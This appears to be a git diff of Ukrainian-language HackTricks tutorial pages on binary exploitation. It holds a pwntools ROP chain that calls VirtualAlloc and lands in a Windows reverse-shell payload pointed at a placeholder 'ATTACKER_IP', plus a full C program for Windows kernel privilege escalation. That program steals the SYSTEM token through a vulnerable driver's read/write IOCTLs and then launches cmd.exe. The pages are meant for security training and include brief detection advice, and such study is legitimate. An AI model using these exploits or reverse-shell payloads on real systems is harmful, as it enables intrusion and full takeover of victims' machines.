Pwntools sketch (при наявній відомій базі та gadgets):
|
||||||
|
```python
|
||||||
|
from pwn import *
|
||||||
|
base = 0x7ff6693b0000
|
||||||
|
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
|
||||||
|
rop = b''
|
||||||
|
# r9 = 0x40
|
||||||
|
rop += p64(base+POP_RBX_RET) + p64(0x40)
|
||||||
|
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
|
||||||
|
# rcx = rsp
|
||||||
|
rop += p64(base+POP_RBX_RET) + p64(0)
|
||||||
|
rop += p64(base+XOR_RBX_RSP_RET)
|
||||||
|
rop += p64(base+PUSH_RBX_POP_RAX_RET)
|
||||||
|
rop += p64(base+MOV_RCX_RAX_RET)
|
||||||
|
# r8 = 0x1000 via arithmetic if no pop r8
|
||||||
|
for _ in range(0x1000//0x40):
|
||||||
|
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
|
||||||
|
# rdx = 0x1000 (use any available gadget)
|
||||||
|
rop += p64(base+POP_RDX_RET) + p64(0x1000)
|
||||||
|
# call VirtualAlloc and land in shellcode
|
||||||
|
rop += p64(IAT_VirtualAlloc)
|
||||||
|
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||||
|
```
|
||||||
|
Поради:
|
||||||
|
- VirtualProtect працює аналогічно, якщо краще зробити існуючий буфер RX; порядок параметрів інший.
|
||||||
|
- Якщо простору на stack мало, виділіть RWX в іншому місці (RCX=NULL) і jmp у цей новий регіон замість повторного використання stack.
|
||||||
|
- Завжди враховуйте gadgets, які змінюють RSP (e.g., add rsp, 8; ret) шляхом вставлення junk qwords.
|
||||||
|
|
||||||
|
|
||||||
|
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **повинно бути відключено**, щоб адреса була надійною між виконаннями; інакше адреса, куди буде збережено функцію, не завжди буде однакова і вам знадобиться деякий leak, щоб з’ясувати, де завантажена win function.
|
||||||
|
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) також повинні бути відключені, інакше скомпрометована EIP return address ніколи не буде використана.
|
||||||
|
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** захист перешкоджатиме виконанню shellcode всередині stack, оскільки цей регіон не буде виконуваним.
|
||||||
|
|
||||||
## Інші приклади та посилання
|
## Інші приклади та посилання
|
||||||
|
|
||||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||||
- 64 біт, ASLR з leak адреси стеку, записати shellcode і перейти до нього
|
- 64bit, ASLR з leak адреси stack, запис shellcode та перехід до нього
|
||||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||||
- 32 біт, ASLR з leak стеку, записати shellcode і перейти до нього
|
- 32 bit, ASLR з leak адреси stack, запис shellcode та перехід до нього
|
||||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||||
- 32 біт, ASLR з leak стеку, порівняння для запобігання виклику exit(), перезаписати змінну значенням і записати shellcode і перейти до нього
|
- 32 bit, ASLR з leak адреси stack, порівняння, щоб запобігти виклику exit(), перезапис змінної значенням, запис shellcode та перехід до нього
|
||||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||||
- arm64, без ASLR, ROP gadget для зробити стек виконуваним і перейти до shellcode в стеку
|
- arm64, без ASLR, ROP gadget для зроблення stack виконувальним і перехід до shellcode у stack
|
||||||
|
|
||||||
|
|
||||||
|
## Посилання
|
||||||
|
|
||||||
|
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||||
|
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,122 @@
|
|||||||
|
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Огляд
|
||||||
|
|
||||||
|
Якщо вразливий драйвер експонує IOCTL, який дає атакуючому довільні примітиви kernel read та/або kernel write, підвищення до NT AUTHORITY\SYSTEM часто можна досягти шляхом викрадення SYSTEM access token. Техніка копіює вказівник Token з EPROCESS процесу SYSTEM у EPROCESS поточного процесу.
|
||||||
|
|
||||||
|
Чому це працює:
|
||||||
|
- Кожен процес має структуру EPROCESS, яка містить (серед інших полів) Token (фактично EX_FAST_REF на об’єкт token).
|
||||||
|
- Процес SYSTEM (PID 4) має token з увімкненими усіма привілеями.
|
||||||
|
- Замiна EPROCESS.Token поточного процесу на вказівник SYSTEM token негайно змушує поточний процес працювати як SYSTEM.
|
||||||
|
|
||||||
|
> Зсуви у EPROCESS змінюються між версіями Windows. Визначайте їх динамічно (symbols) або використовуйте константи для конкретних версій. Також пам’ятайте, що EPROCESS.Token — це EX_FAST_REF (нижні 3 біти — прапорці лічильника посилань).
|
||||||
|
|
||||||
|
## Основні кроки
|
||||||
|
|
||||||
|
1) Знайдіть базу ntoskrnl.exe та визначте адресу PsInitialSystemProcess.
|
||||||
|
- З user mode використовуйте NtQuerySystemInformation(SystemModuleInformation) або EnumDeviceDrivers, щоб отримати бази завантажених драйверів.
|
||||||
|
- Додайте зсув PsInitialSystemProcess (із symbols/reversing) до бази kernel, щоб отримати його адресу.
|
||||||
|
2) Прочитайте вказівник за PsInitialSystemProcess → це kernel-вказівник на EPROCESS процесу SYSTEM.
|
||||||
|
3) З EPROCESS процесу SYSTEM прочитайте зсуви полів UniqueProcessId та ActiveProcessLinks, щоб пройти по двозв’язному списку структур EPROCESS (ActiveProcessLinks.Flink/Blink), поки не знайдете EPROCESS, у якого UniqueProcessId дорівнює GetCurrentProcessId(). Збережіть обидва:
|
||||||
|
- EPROCESS_SYSTEM (for SYSTEM)
|
||||||
|
- EPROCESS_SELF (for the current process)
|
||||||
|
4) Прочитайте значення token процесу SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||||
|
- Зануліть (маскуйте) нижні 3 біти: Token_SYS_masked = Token_SYS & ~0xF (звичайно ~0xF або ~0x7 залежно від збірки; на x64 використовуються нижні 3 біти — маска 0xFFFFFFFFFFFFFFF8).
|
||||||
|
5) Варіант A (поширений): Збережіть нижні 3 біти з вашого поточного token і пришийте їх до вказівника SYSTEM, щоб зберегти узгодженість вбудованого лічильника посилань.
|
||||||
|
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||||
|
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||||
|
6) Запишіть Token_NEW назад у (EPROCESS_SELF + TokenOffset) за допомогою вашого kernel write примітиву.
|
||||||
|
7) Ваш поточний процес тепер — SYSTEM. За бажанням запустіть cmd.exe або powershell.exe, щоб перевірити.
|
||||||
|
|
||||||
|
## Псевдокод
|
||||||
|
|
||||||
|
Нижче скелет, який використовує лише два IOCTL з вразливого драйвера: один для 8-byte kernel read і один для 8-byte kernel write. Замініть на інтерфейс вашого драйвера.
|
||||||
|
```c
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Psapi.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
// Device + IOCTLs are driver-specific
|
||||||
|
#define DEV_PATH "\\\\.\\VulnDrv"
|
||||||
|
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||||
|
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||||
|
|
||||||
|
// Version-specific (examples only – resolve per build!)
|
||||||
|
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
|
||||||
|
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
|
||||||
|
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
|
||||||
|
|
||||||
|
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
|
||||||
|
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
|
||||||
|
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
|
||||||
|
}
|
||||||
|
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
|
||||||
|
struct { uint64_t addr, val; } in; DWORD ret;
|
||||||
|
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get ntoskrnl base (one option)
|
||||||
|
uint64_t get_nt_base(void) {
|
||||||
|
LPVOID drivers[1024]; DWORD cbNeeded;
|
||||||
|
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
|
||||||
|
return (uint64_t)drivers[0]; // first is typically ntoskrnl
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||||
|
if (h == INVALID_HANDLE_VALUE) return 1;
|
||||||
|
|
||||||
|
// 1) Resolve PsInitialSystemProcess
|
||||||
|
uint64_t nt = get_nt_base();
|
||||||
|
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
|
||||||
|
|
||||||
|
// 2) Read SYSTEM EPROCESS
|
||||||
|
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
|
||||||
|
|
||||||
|
// 3) Walk ActiveProcessLinks to find current EPROCESS
|
||||||
|
DWORD myPid = GetCurrentProcessId();
|
||||||
|
uint64_t cur = EPROC_SYS; // list is circular
|
||||||
|
uint64_t EPROC_ME = 0;
|
||||||
|
do {
|
||||||
|
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
|
||||||
|
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
|
||||||
|
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
|
||||||
|
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
|
||||||
|
} while (cur != EPROC_SYS);
|
||||||
|
|
||||||
|
// 4) Read tokens
|
||||||
|
uint64_t tok_sys, tok_me;
|
||||||
|
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
|
||||||
|
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
|
||||||
|
|
||||||
|
// 5) Mask EX_FAST_REF low bits and splice refcount bits
|
||||||
|
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
|
||||||
|
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
|
||||||
|
|
||||||
|
// 6) Write back
|
||||||
|
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
|
||||||
|
|
||||||
|
// 7) We are SYSTEM now
|
||||||
|
system("cmd.exe");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Примітки:
|
||||||
|
- Зсуви: Use WinDbg’s `dt nt!_EPROCESS` with the target’s PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly.
|
||||||
|
- Маска: На x64 токен — EX_FAST_REF; нижні 3 біти — біти лічильника посилань. Збереження початкових молодших бітів вашого токена уникне негайних невідповідностей refcount.
|
||||||
|
- Стабільність: Надавайте перевагу підвищенню привілеїв поточного процесу; якщо ви підвищите привілеї короткоживучого допоміжного процесу, при його завершенні ви можете втратити SYSTEM.
|
||||||
|
|
||||||
|
## Виявлення та пом'якшення
|
||||||
|
- Завантаження непідписаних або ненадійних драйверів сторонніх розробників, які надають потужні IOCTLs, є першопричиною.
|
||||||
|
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, and Attack Surface Reduction rules можуть запобігти завантаженню вразливих драйверів.
|
||||||
|
- EDR може відслідковувати підозрілі послідовності IOCTL, які реалізують arbitrary read/write, а також token swaps.
|
||||||
|
|
||||||
|
## Джерела
|
||||||
|
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||||
|
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
Loading…
x
Reference in New Issue
Block a user